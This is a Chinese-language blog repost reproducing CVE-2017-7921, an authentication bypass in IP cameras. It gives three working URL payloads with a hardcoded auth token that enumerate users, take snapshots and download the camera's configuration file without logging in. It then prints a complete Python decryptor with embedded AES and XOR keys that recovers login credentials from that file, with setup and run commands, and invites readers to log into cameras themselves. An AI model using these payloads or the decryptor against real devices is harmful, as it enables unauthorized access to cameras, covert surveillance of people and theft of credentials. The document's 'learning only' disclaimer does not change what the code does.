CVE-2017-7921复现(解密文件)
漏洞描述
该公司多款产品中存在身份验证漏洞。攻击者可利用该漏洞提升权限,获取敏感信息的访问权限。
通过构造url进行检索所有用户、屏幕截图、配置文件下载,得到二进制配置文件:configurationFile,并且可以提取登录的账号密码。
Payload
IP/Security/users?auth=YWRtaW46MTEK
检索所有用户
IP/onvif-http/snapshot?auth=YWRtaW46MTEK
获取镜头快照而不进行身份验证
IP/System/configurationFile?auth=YWRtaW46MTEK
下载摄像头二进制配置文件
解密二进制文件(configurationFile)
脚本原链接:https://github.com/chrisjd20/hikvision_CVE-2017-7921_auth_bypass_config_decryptor
#!/usr/bin/python3
from itertools import cycle
from Crypto.Cipher import AES
import re
import os
import sys
def add_to_16(s):
while len(s) % 16 != 0:
s += b'\0'
return s
def decrypt(ciphertext, hex_key='279977f62f6cfd2d91cd75b889ce0c9a'):
key = bytes.fromhex(hex_key)
ciphertext = add_to_16(ciphertext)
#iv = ciphertext[:AES.block_size]
cipher = AES.new(key, AES.MODE_ECB)
plaintext = cipher.decrypt(ciphertext[AES.block_size:])
return plaintext.rstrip(b"\0")
def xore(data, key=bytearray([0x73, 0x8B, 0x55, 0x44])):
return bytes(a ^ b for a, b in zip(data, cycle(key)))
def strings(file):
chars = r"A-Za-z0-9/\-:.,_$%'()[\]<> "
shortestReturnChar = 2
regExp = '[%s]{%d,}' % (chars, shortestReturnChar)
pattern = re.compile(regExp)
return pattern.findall(file)
def main():
if len(sys.argv) <= 1 or not os.path.isfile(sys.argv[1]):
return print(f'No valid config file provided to decrypt. For example:\n{sys.argv[0]} <configfile>')
xor = xore( decrypt(open( sys.argv[1],'rb').read()) )
result_list = strings(xor.decode('ISO-8859-1'))
print(result_list)
if __name__ == '__main__':
main()
脚本使用方法:
依赖库:pycryptodome
依赖库安装:py -3 -m pip install pycryptodome
因为我的电脑安装了两个版本的python,所以使用py -3
解密命令:py -3 decrypt_configurationFile.py configurationFile
由于特殊原因,就写到这里,不进行摄像头的登录了,方法交给你们了,有兴趣的自己去验证吧
转载至https://blog.csdn.net/qq_41617034/article/details/117521734
声明此复现仅供学习使用,请勿用于不法用途!!!!